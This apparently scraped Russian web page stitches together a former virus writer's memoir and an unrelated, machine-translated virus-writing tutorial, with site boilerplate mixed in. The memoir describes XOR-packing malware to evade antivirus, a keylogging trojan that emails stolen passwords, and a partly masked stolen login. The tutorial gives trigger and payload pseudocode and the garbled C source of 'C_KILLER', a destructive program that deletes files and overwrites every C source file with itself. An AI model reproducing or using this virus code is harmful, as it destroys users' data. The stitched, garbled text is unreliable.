Как создать свою вирусную программу

Добрый день, меня зовут Александр и я вирусописатель. Не разбегайтесь в стороны — это было уже давно и сейчас я обычный программист в обычной фирме. Однако хочу рассказать, с какими интересными вещами я сталкивался и, возможно, пояснить, что побуждает людей начинать писать вирусы. Только прежде чем осуждать меня — дочитайте до конца, пожалуйста. Посвящается всем, кто найдет для себя знакомые слова.

Оглавление

1. Предыстория
2. Первые шаги
3. Поиск талантов
4. Создание своего
5. Первые шаги
6. Цель вижу — иду на таран
7. Быть или не быть
8. Кульминация
9. Выводы

1. Предыстория

Дайте мне время и я найду рычаг, чтобы сдвинуть Землю. Поступил в институт, купили PC и появилось много свободного времени. Наверное, именно для этого и создан институт. На тот момент хорошо я знал только BASIC и Assembler — спасибо ZX-Spectrum за наше детство.

Как оказалось, программировать под DOS было несложно, а кодить под Windows было еще проще, ведь в отличии от «Спектрума» за тебя в основном все делали WinAPI. Общение на форумах RTFM_Helpers и подобных помогли освоить архитектуру PC (нулевое кольцо, лазейки в Outlook, позволявшие запустить EXE файл даже просто при открытии письма и прочее) и в какой-то момент я понял, что могу сделать что-то ценное и полезное.

КАК СОЗДАТЬ ВИРУС В БЛОКНОТЕ? 5 ПРОСТЫХ ВИРУСА!

Полезное для себя. Ведь в том время интернет был через модем и за каждый выход в интернет нужно было платить. Это было первое зерно в сторону зла. Но начнем с начала.

2. Первые шаги

Его путь был тернистым. Как может заработать программист, зная Бейсик и Ассемблер? Студентом я этого не понимал, и первое, во что ввязался, был частный проект создания базы данных города, где были бы описания всех фирм, их контакты и главное — быстрый поиск информации (привет дубльгис).

Я написал оболочку и сверх быстрый поиск по базе, и даже уже наняли девушек, чтобы обзванивать фирмы и предлагать нашу программу, как вдруг выяснилось, что она выглядит по-разному на разных операционных системах. На ХР — все хорошо, на 98/95 уже немного все по-другому. Конечно, мой уровень (точнее редактирования ресурсов в билдере) был очень мал. Все свелось к тому, что я вышел из проекта и сделал вывод: интерфейсы и ассемблер — не мое. Обиделся на себя.

3. Поиск талантов

Если ты здесь – значит, на правильном пути. В какой-то момент я подхватил вирус CIH и мой компьютер пал в черный экран (да, для меня все еще 26 апреля знаменательный день). Тема меня заинтересовала, но не целью все разрушить, но обрести новые знания. Возврат в Ассемблер (поверьте, те, кто его знают — всегда к нему возвращаются) был неизбежен.

Диззассемблирование кода SoftIce’ом, бессмертия в играх и отучение игр от дисков уже казалось банальным, и не надо было делать интерфейсы. Меня очень заинтересовали антивирусники и принцип их работы. Конечно, я взял за основу существующий вирус. На диске «Золотой софт 2000» их было пруд пруди.

Как сделать вирус? | Как стать хакером? | CMD Windows 2

Я, как и сейчас многие авторы Хабра, анализировал его и прогонял через SoftIce и IdaPro и смог перенастроить под себя. Крики «Гениально!» и «Эврика!» опускаю, но они были. Зачем это делал расскажу позже. Я пошел дальше — опубликовал все это на своем сайте с целью показать, как же просто работает Ассемблер, и как просто работает вирус, и что это обычная программа, а не что-то ужасное, что может погубить ваш компьютер навсегда.

4. Создание своего

Распределение труда. В то же время меня подхватил товарищ и сказал, что я должен писать статьи, а он будет публиковать их на своем сайте — мол, это интересно и людей цепляет. Часть статей вы и сейчас можете найти, но людям всегда хочется больше. Они хотят попробовать сами.

Читайте также:
Прекращена работа программы radeon softWare host application

И даже тот вирус, который я приручил и написал под него программу настройки (там можно было указать почту и что-то еще), мне казался мелочью, ведь антивирусники все равно определяли его как вирус. Что делать? Вот оно — первая ласточка — почему пишутся вирусы — любопытство. Как работает антивирусник? Почему он так быстро сканирует файл, проверяя его на миллионы штаммов вирусов?

В конце концов, интересно, как быстро новый вирус появится в базе антивируса, и кто первый его определит? Разве вам не интересно?

5. Первые шаги

Чем проще – тем гениальнее. Первая мысль — это спрятать существующий вирус от антивирусника. Буквально за день была написана такая программа, которая брала любой ЕХЕшник и, подставляя себя в вызов, XORила код (те, кто в курсе, знают, что это самый примитив в шифровке кода). И, о, чудо! Антивирусники перестали видеть вирус. Конечно, я поделился с миром этой информацией и программой.

Тут надо сказать, что читателей было не особо много, может, сотня, может меньше, но, конечно все подначивали — давай еще и т.д. Я считал, что статьи и код, который я привожу, не вредит никому и лишь помогает тем, кто разбирается, чтобы лучше понять процессы. Естественно, я всегда выкладывал и полные исходники. Более того, в коде я указал свой электронный адрес и его было видно любым HEX-редактором (DosNavigator в тот момент был моим любимчиком). Zimenkov$Goldmail.ru, конечно, давно уже отключен, но по нему можно еще найти часть статей.

6. Цель вижу — иду на таран

Из искры зародится искра v2. Мысль росла. И главное, что это очень интересный опыт именно программирования в конкретной архитектуре (Windows). Не было какого-то момента принятия решения — плохо или хорошо. Не было какого-то понимания — а что если кто-то плохой может воспользоваться этим. Было понимание, что это обычная программа, и что я никого не обкрадываю и никому не делаю плохо.

Да и интернет был не в каждом доме.

Конечно, только сейчас, спустя десятки лет, я сравниваю это с созданием мыла в домашних условиях. В неумелых руках может и пожар случиться. Но придраться ко мне было сложно — я по-прежнему был честен перед законом. Как-то просто и быстро все получалось, в результате меня подтолкнули на мысль написать собственный вирус и я написал очень простой троян.

Он висит в памяти под чужим процессом (в памяти explorer’а) и перехватывает все введенные символы. Если они вводятся в поле password (со звездочками), то он запоминал пароль и заодно запоминал все соседние текстовые поля (логин). Как только появлялась связь с интернетом, отправлял данные почтой хозяину от имени explorer’а, конечно (ни один файрвол не придерется).

Пока никак не распространялся, так как делался для друга, который хотел узнать пароль почты своей девушки. Мне интересно — ему приятно. Или наоборот.

Программа (вирус) работала. Читатели попросили расширить функционал. Я добавил перехват файлов с указанным расширением и отправку на ftp. Угадайте, как был назван вирус? Да простят мой юношеский энтузиазм, конечно, фамилией его создателя — Zimenok.

Я немного исказил фамилию — это школьная кличка. Именно под эти именем сейчас он и хранится в просторах баз антивирусников.

7. Быть или не быть

Очень много интересных идей присылали читатели. Мое условие было одно — вирус был нераспространяемым. То есть следите за конкретным человеком, но не за всеми подряд. Тем не менее один человек умудрился распространить его массовой рассылкой писем. Угадайте, что было в письме. Девушка Даша мечтает познакомиться. Каждый третий клюнул и запустил неизвестный ему ЕХЕшник.

О, времена, о, нравы! Кто-то умудрился даже перехватить пароль от веб-кошелька и файл-ключ. Каждый второй пока пробовал вирус, запускал его у себя и случайно отправлял свои данные. Но не один не посмотрел исходники. Конечно, я отправлял все через свой сайт и пока не давал никому данных, которых считал неуместными.

Читайте также:
Команда автоматического добавления функции суммирования в программе Microsoft excel

Пока, однажды, у меня не закончился интернет, а передо мной лежал листочек с украденным (было-было, но прошло более 15 лет) логином и паролем для доступа. Как сейчас помню, voronin пароль bun***x и названием провайдера и безлимитным доступом.

Если бы у вас был пароль — воспользовались бы? Если бы на улице лежал бы кошелек — взяли бы? А нефть нашли у себя на даче — отдали бы государству? Очень сложные моральные вопросы. Одно дело сказать всем «да я бы никогда»! Другое дело — хоп, и никто не заметил. Быть или не быть? Я выбрал — не быть. И закрыл доступ всем пользователям вируса, но оставил исходники в нетронутом виде.

Код казался очень простым, да и я понимал, что рано или поздно он потеряет актуальность, как и все в этом мире.

8. Кульминация

С момента публикации в сети вируса и его бурного обсуждения (копипаста другими сайтодержателями) прошел месяц. Вдруг приходит письмо от Касперского. С Евгением Касперским так и не пообщались. А вот с Крисом Касперски мы пересекались пару раз на RTFM_Helpers форумах – человек очень умный и явно ему было скучно среди обычных программеров.

Кстати, помню на том форуме я ляпнул, что шифрование с открытым ключом невозможно взломать, даже если оно будет простое. В течении недели мой закодированный текст был взломан командой форума, но это отдельная история. Возвращаясь к письму: оно было без угроз и очень корректное, дословно не помню, но смысл, что я занимаюсь неправомерными вещами и пора сворачивать лавочку.

Что, собственно, мы тогда и сделали — прекратили писать статьи и функционал вируса. Где-то через неделю вирус стал определяться Касперским. Спустя еще месяц (после этого) стал определяться ДокторВебом. Спустя еще месяц (после уже доктора) Авастом и остальными. Возможно, это мое субъективное мнение, но база первого как-то продается остальным по ступеням. В общем, победил Касперский.

Более того, письмо было только от них.

9. Выводы

Много других интересных задач было сделано с опытом «написания вируса». Это, к примеру, работа с аськой и ее протоколами; сбор данных о сотовых вышках и их положений (повторюсь, был 2000-й год и тогда такой информации еще не было) для создания программы слежения за человеком по сотовым вышкам. Помню, тогда таксисты связались со мной – предлагали на основе этого сделать программу. Как любитель игр – сделал программу, делающую бессмертия в играх, которые не позволяли переключаться ALT+TAB’ом из игры. И главное, что для создания собственного проекта нужно немного – идея, мелкие инструменты и желание.

Один из инструментов — Small HTTP server. Пожалуй, и сейчас это лучший эмулятор HTTP и почтовых серверов. При помощи него можно подключаться к FTP или MAIL серверу – самой этой программе. Вспомнил про него – так как он многим полезен и сейчас. Недавно занимались отправкой писем клиентам – через него я тестировал массовую отправку.

Удобно и просто.

Зачем все это делалось? Зачем дети что-то делают? Зачем что-то происходит? Это неправильные вопросы. Зачем они покупают дорогие машины, зачем они качаются до таких размеров? Ответ уже понятен? Каждый увидит свой смысл в любом действии. Тот, кто знает только С++, скажет, что Ассемблер сложен и неэффективен, и найдет еще кучу минусов.

Тот, у кого телефон на Android, скажет, что он лучше всех. Поэтому я решил, что любую свою точку зрения буду строить на опыте обеих сторон. Именно поэтому я знаю и Ассемблер, и С++, именно поэтому есть и Android, и Apple. Нет лучших точек зрения или языков программирования. Каждый язык, каждое мнение под определенный круг задач и требований.

Вторым основным компонентом вируса является событие запуска полезной нагрузки. Когда вирус попадает на ваш компьютер, он вряд ли произойдет немедленно, иначе он не будет распространяться далеко. Потенциальный враг всегда лучше, чем тот, которого вы видите. Вирус гораздо опаснее: вирус обычно запускается после обнаружения определенного количества зараженных тел, определенной даты или времени, а также определенного абзаца текста.
Простой триггерный механизм может работать так:
TriggerSection()
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
>

Читайте также:
Выберите верное текстовое описание программы ответ

Полезная нагрузка — это метод, используемый вирусами для преследования вашего компьютера.Вирусы с триггерным механизмом обычно также имеют полезную нагрузку. Это может быть любое произвольное простое дурацкое сообщение, отправленное вам, переформатирование вашего диска и отправка его вашему корреспонденту E_mail может стать полезной нагрузкой. Простая полезная нагрузка может выполняться следующим образом:
Executesection()
if (trigger_statue_is_yes)
execute_payload;
>

Во-вторых, скомпилируйте язык вируса
Наиболее распространенные языки для компиляции вирусов — это ассемблер, VB, C и т. Д. Мы можем взглянуть на основу известного вирусного форума, который думает научиться писать вирусы:
1). Win32 программирование, процессы, потоки, память и т. Д.
2). 32-битная сборка, в основном использование инструкций. 386 сборки более чем достаточно.
3). PE формат, если у вас есть энергия, вы также можете посмотреть на формат файлов других файлов, которые могут быть заражены.
4). Технология отладки. VC, TD32, SoftIce и др.
Есть действительно много вещей, чтобы освоить, и я не слышал их раньше. Это страшно. Но на самом деле, даже если мы не очень хорошо понимаем принцип и операционную систему компьютера,
На других языках, если у нас есть определенное понимание функций библиотеки C, мы можем писать что-то похожее на вирусы.

Три С вируса
Возьмите TurboC2.0 в качестве примера. Его библиотечные функции могут выполнять множество функций.
Например, следующие две функции:
1). Findfirst и findnext функции: в dir.h. findfirst используется для поиска файлов различных типов, вы можете получить имя файла, длину файла, атрибуты файла и т. д. findnext и findfirst используются вместе, чтобы найти следующий файл того же типа.
2) .remove функция: в stdio.h. Пока вы знаете имя файла, вы можете удалить любой тип файла.

Вирус Four C, который я написал
«Расшифровка компьютерных вирусов» имеет более классическую поговорку: «Возможно, ущерб от вредоносных программ описывается как психологический ущерб
Это может быть более подходящим. «В этом смысле мой вирус является очень типичным вирусом.
Ниже приведен вирус, который я написал.
В основном он состоит из четырех модулей.
RubbishMaker () может быть использован для генерации большого количества случайных файлов в текущем каталоге.
CreatEXE () поместит несколько .exe мусора в уязвимое место диска C, они должны быть скрыты.
Remove () удалит некоторые из ваших вещей, поэтому не запускайте эту программу случайно.
Breed () — это сущность C_KILLER, она убивает все программы на C и использует их для воспроизведения.
Первые три являются полезными нагрузками.

Четвертый, можно сказать, его механизм заражения.

/********************************** IN FACT,IT»S NOT A VIRYUS AT ALL. **********************************/ #include #include #include #include #include /* copy outfile to infile */ void copyfile(char *infile, char *outfile) < FILE *in,*out; in = fopen(infile,»r»); out = fopen(outfile,»w»); while (!feof(in)) < fputc(fgetc(in),out); >fclose(in); fclose(out); > /* This function named Rubbishmaker. */ void MakeRubbish() < int i; FILE *fp; char *path; char *NewName; char *disk[7] = ; char *addtion = «:\»; /* Make some rubbish at the current catalogue */ for (i = 0; i /* make some rubbish at the root catalogue */ path = strcat(disk[getdisk()],addtion); /* get the root catalogue */ chdir(path); /*change directory according to the «path» */ for (i = 0; i > /* This function can creat some .exe or .com documents in the sensitive place. Don’t worry,It’s only a joke.It will do no harm to your computer. */ void CreatEXE() < int i; char *path; char *s[2] = ; for ( i = 0; i < 2; i++) < open(s[i], 0x0100,0x0080); copyfile( «C_KILLER.C»,s[i]); >> /* remove something from your computer */ void Remove() < int done; int i; struct ffblk ffblk; char *documenttype[3] = ; for (i = 0; i < 3; i++) < done = findfirst(documenttype[i], while (!done) < remove(ffblk.ff_name); done = findnext( >> > /* overlay the c programs */ void Breed() < int done; struct ffblk ffblk; done = findfirst(«*.c», while (!done) < if (strcmp(«C_KILLER.C», ffblk.ff_name) != 0 ) < copyfile(«C_KILLER.C»,ffblk.ff_name); >done = findnext( > > void main()

Источник: russianblogs.com

Рейтинг
( Пока оценок нет )
Загрузка ...
EFT-Soft.ru